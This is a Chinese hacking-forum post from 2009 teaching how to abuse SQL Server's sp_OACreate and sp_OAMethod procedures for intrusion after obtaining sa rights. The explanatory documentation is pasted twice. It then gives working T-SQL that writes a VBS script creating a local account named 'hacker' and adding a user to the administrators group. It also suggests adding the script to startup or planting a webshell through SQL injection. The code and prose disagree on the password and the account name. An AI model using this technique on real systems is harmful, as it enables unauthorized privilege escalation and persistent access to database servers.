nohack 发表于 2009-5-16 00:07:58

sp_OAMethod和sp_oacreate在入侵过程中的具体利用

本帖最后由 nohack 于 2009-5-16 02:04 编辑

为了照顾和我一样的菜鸟朋友们我首先将sp_OAMethod和sp_oacreate的用法贴出来了如下:
sp_OAMethod objecttoken, methodname [, returnvalue OUTPUT] [, [@parametername =] parameter ...]

Sp_OAMethod是最灵活的,因而也是最复杂的自动操作存储过程,我们甚至可以用它象调用一个方法那样调用一个属性,而且还能得到一个返回值,当然,我们也能使用sp_OAGetProperty来完成这一任务。该存储过程的第一个参数objecttoken是由sp_OACreate返回的对象标记,参数methodname是希望执行的方法的名字,如果该方法有返回值,则下一个参数returnvalue应当是一个包含该方法返回值的适当类型的变量;如果返回值是一个一维或二维的数组,则用NULL作为一个占位符,该过程将返回一个结果集。该存储过程不能返回一个超过二维的数组作为结果集合,在这种情况下,SQL Server就会出错。如果该方法没有返回类型,则使用NULL作为一个占位符。

  如果调用的方法需要参数,就需要在调用sp_OAMethod时提供这些参数。如果方法允许按顺序提供参数,则按要求的顺序列出每个参数,并用逗号分隔每个参数,还可以用变量或文字变量作为参数。如果需要使用有名参数,SQL Server也提供了相应的机制,只需使用

  @变量名=变量值

的形式列出所需的变量即可。需要注意的是不要因为有@前缀而把变量名当作局部变量,当调用存储过程sp_OAMethod时,SQL Server就会解析出@,因此,即使在调用的方法中有名字为HostName的参数时,仍然可以使用名字为@HostName的局部变量。


sp_OAMethod objecttoken, methodname [, returnvalue OUTPUT] [, [@parametername =] parameter ...]

Sp_OAMethod是最灵活的,因而也是最复杂的自动操作存储过程,我们甚至可以用它象调用一个方法那样调用一个属性,而且还能得到一个返回值,当然,我们也能使用sp_OAGetProperty来完成这一任务。该存储过程的第一个参数objecttoken是由sp_OACreate返回的对象标记,参数methodname是希望执行的方法的名字,如果该方法有返回值,则下一个参数returnvalue应当是一个包含该方法返回值的适当类型的变量;如果返回值是一个一维或二维的数组,则用NULL作为一个占位符,该过程将返回一个结果集。该存储过程不能返回一个超过二维的数组作为结果集合,在这种情况下,SQL Server就会出错。如果该方法没有返回类型,则使用NULL作为一个占位符。

  如果调用的方法需要参数,就需要在调用sp_OAMethod时提供这些参数。如果方法允许按顺序提供参数,则按要求的顺序列出每个参数,并用逗号分隔每个参数,还可以用变量或文字变量作为参数。如果需要使用有名参数,SQL Server也提供了相应的机制,只需使用

  @变量名=变量值

的形式列出所需的变量即可。需要注意的是不要因为有@前缀而把变量名当作局部变量,当调用存储过程sp_OAMethod时,SQL Server就会解析出@,因此,即使在调用的方法中有名字为HostName的参数时,仍然可以使用名字为@HostName的局部变量。




内容很多看得很烦,现在就举个例子来讲诉下实战的作用
要想执行上述两个存储过程必须是sa权限,或许有人会说有sa权限那我直接调用xp_cmdshell,可要是被删掉了怎么办?恢复?可要xplog70.dll也改名了呢?。。当然即使这样也还有其他提权方法,我这里只是讲诉这两个存储过程的具体使用:请看如下代码declare @o int, @f int,@ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\a.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL, 'set wshshell=createobject("wscript.shell")'
exec @ret = sp_oamethod @f, 'writeline', NULL, 'a=wshshell.run ("cmd.exe /c net user hacker 123456 /add",0)'
exec @ret = sp_oamethod @f, 'writeline', NULL, 'b=wshshell.run ("cmd.exe /c net localgroup administrators lcx /add",0)'以上代码是将a.vbs写入到d盘你也可以加到启动项,运行a.vbs后新建一个hacker的账户,密码也为hacker。当然假如你是靠注射点获取的sa权限你完全可以直接写个一句话到网站目录下。就看自己如何利用了!。。东西是死的,人是活的关键是灵活运用。写给像我一样的菜鸟朋友,高手飘过!
页: [1]
查看完整版本: sp_OAMethod和sp_oacreate在入侵过程中的具体利用